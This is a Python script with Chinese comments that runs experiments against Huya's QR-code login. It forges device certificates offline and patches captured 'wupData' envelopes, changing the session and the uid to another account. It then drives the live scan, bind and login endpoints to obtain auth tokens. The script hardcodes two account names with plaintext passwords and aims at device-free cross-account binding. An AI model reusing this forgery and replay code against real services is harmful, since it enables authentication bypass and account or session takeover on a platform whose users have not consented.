140 lines
5.5 KiB
Python
140 lines
5.5 KiB
Python
#!/usr/bin/env python3
|
|
"""信封规则测定实验 —— 回答"wupData能否彻底脱离设备"。
|
|
|
|
E-B 老信封时效: 数小时前的模板信封(git_d29290a) + 可信账号新cred铸证
|
|
-> 通过 => 信封无短TTL, 可长期复用
|
|
E-C session篡改: 新鲜模板 + 随机session(iRequestId/meta JSON/v0) + 可信cred
|
|
-> 通过 => session字段服务端不校验
|
|
E-A 换账号(uid补丁): 模板uid改成新账号 + 新账号cred铸证
|
|
-> 通过 => 零设备跨账号bind成立!
|
|
|
|
每次实验: 现登录取新鲜cred(新账号自动过safe_auth滑块) -> cert_forge离线铸证
|
|
-> Envelope补丁 -> QrRole四步流bind。
|
|
"""
|
|
from __future__ import annotations
|
|
|
|
import base64
|
|
import random
|
|
import sys
|
|
import time
|
|
from pathlib import Path
|
|
|
|
ROOT = Path(__file__).resolve().parent.parent
|
|
sys.path.insert(0, str(ROOT))
|
|
sys.path.insert(0, str(ROOT / "tools"))
|
|
sys.path.insert(0, str(ROOT / "scripts"))
|
|
|
|
from app_login_flow import login_cred, wup_password_login_raw, parse_cred # noqa: E402
|
|
from cert_forge import build_p1, forge_cert # noqa: E402
|
|
from envelope_forge import Envelope # noqa: E402
|
|
from probe_huya_qr_bind import QrRole, web_behavior # noqa: E402
|
|
from core.huya.device_fingerprint import get_huya_sdid # noqa: E402
|
|
|
|
TRUSTED = ("hy_300023887", "aa778899")
|
|
NEWACCT = ("hy_300024708", "aa778899")
|
|
|
|
FINGERPRINT = b"02df398797432eadefcc12767119ad5e80999389"
|
|
|
|
|
|
def fresh_rnd() -> bytes:
|
|
t = int(time.time() * 1000) & ((1 << 48) - 1)
|
|
return (t.to_bytes(6, "big") + b"\x00\x00"
|
|
+ ((t << 16) & ((1 << 64) - 1)).to_bytes(8, "big")[2:] + bytes(8))[:20]
|
|
|
|
|
|
def forge(cred: bytes) -> bytes:
|
|
return forge_cert(build_p1(b"5008", FINGERPRINT, cred, rnd=fresh_rnd()),
|
|
key_idx=0x20)
|
|
|
|
|
|
def login_uid_cred(account: str, password: str) -> tuple[int, bytes]:
|
|
"""登录并解析 (uid, cred)。uid在响应bean偏移235(u64be)。"""
|
|
import struct
|
|
resp = wup_password_login_raw(account, password)
|
|
s = resp.find(b"\x0a\x0a", 0x40)
|
|
e = resp.find(b"_wup_header")
|
|
body = resp[s:e]
|
|
uid = struct.unpack_from(">Q", body, 235)[0]
|
|
assert 1_100_000_000_000 < uid < 1_300_000_000_000, f"uid异常 {uid}"
|
|
cred = parse_cred(resp)
|
|
if not cred:
|
|
raise RuntimeError("未取到cred")
|
|
return uid, cred
|
|
|
|
|
|
def try_bind(wup_b64: str, name: str) -> dict | None:
|
|
sdid = get_huya_sdid(allow_fallback=False).sdid
|
|
pc = QrRole(pc=True, sdid=sdid)
|
|
ph = QrRole(pc=False, sdid=sdid)
|
|
beh, page = web_behavior()
|
|
resp = pc.call("/qrLgn/getQrId", "70001",
|
|
{"behavior": beh, "type": "", "domainList": "", "page": page})
|
|
qrid = ((resp.get("data") or {}).get("qrId")) if resp.get("returnCode") == 0 else None
|
|
if not qrid:
|
|
print(f" [{name}] getQrId失败 rc={resp.get('returnCode')}")
|
|
return None
|
|
from urllib.parse import quote
|
|
cp = f"https://aq.huya.com/r/confirm.html?k={qrid}&id=5002"
|
|
ph.call("/qrLgn/scanQrPicNotify", "70005",
|
|
{"qrId": qrid, "wupData": wup_b64,
|
|
"behavior": quote("[]", safe=""), "page": quote(cp, safe="")})
|
|
r2 = ph.call("/qrLgn/bindQrLoginUser", "70007",
|
|
{"qrId": qrid, "wupData": wup_b64,
|
|
"behavior": quote("[]", safe=""), "page": quote(cp, safe="")})
|
|
d2 = r2.get("data") or {}
|
|
print(f" [{name}] bindQr rc={r2.get('returnCode')} "
|
|
f"msg={r2.get('message') or r2.get('description')}")
|
|
if r2.get("returnCode") != 0 or d2.get("stage") != 2:
|
|
return None
|
|
for _ in range(10):
|
|
rt = pc.call("/qrLgn/tryQrLogin", "70003",
|
|
{"qrId": qrid, "remember": "1", "domainList": "",
|
|
"behavior": beh, "page": page})
|
|
dt = rt.get("data") or {}
|
|
if dt.get("stage") == 2 and dt.get("biztoken"):
|
|
return {"ok": True, "uid": dt.get("uid"),
|
|
"biztoken_len": len(dt["biztoken"])}
|
|
time.sleep(2)
|
|
return {"stage2_no_token": True}
|
|
|
|
|
|
def main() -> int:
|
|
results = {}
|
|
|
|
# ---- E-B: 老信封时效 ----
|
|
print("\n===== E-B 老信封(数小时前git_d29290a) + 可信账号新cred =====")
|
|
uid_t, cred_t = login_uid_cred(*TRUSTED)
|
|
env = Envelope.load(ROOT / "work/envelope/keycap_d29290a.json")
|
|
print(f" 模板uid={env.uid} (保持不变={uid_t}), 信封大小{len(env.raw)}")
|
|
r = try_bind(env.patch_cert(forge(cred_t)).wup_b64(), "E-B")
|
|
results["E-B_old_envelope"] = r
|
|
|
|
# ---- E-C: session篡改 ----
|
|
print("\n===== E-C 新鲜模板 + 随机session + 可信cred =====")
|
|
env = Envelope.load()
|
|
sess = random.randint(1_000_000, 4_999_999)
|
|
print(f" 注入随机session={sess}")
|
|
r = try_bind(env.patch_session(sess).patch_cert(forge(cred_t)).wup_b64(), "E-C")
|
|
results["E-C_random_session"] = r
|
|
|
|
# ---- E-A: uid补丁换账号 ----
|
|
print("\n===== E-A 模板uid补丁成新账号 + 新账号cred =====")
|
|
uid_n, cred_n = login_uid_cred(*NEWACCT)
|
|
print(f" 新账号uid={uid_n}, cred {len(cred_n)}B {cred_n[:8].hex()}")
|
|
env = Envelope.load()
|
|
r = try_bind(env.patch_uid(uid_n).patch_cert(forge(cred_n)).wup_b64(), "E-A")
|
|
results["E-A_cross_account"] = r
|
|
|
|
print("\n===== 结论 =====")
|
|
for k, v in results.items():
|
|
ok = bool(v and (v.get("ok") or v.get("stage2_no_token")))
|
|
print(f" {k}: {'✅' if ok else '❌'} {v}")
|
|
out = ROOT / "evidence/envelope_rules.json"
|
|
out.write_text(__import__("json").dumps(results, ensure_ascii=False, indent=1))
|
|
print("已写", out)
|
|
return 0
|
|
|
|
|
|
if __name__ == "__main__":
|
|
raise SystemExit(main())
|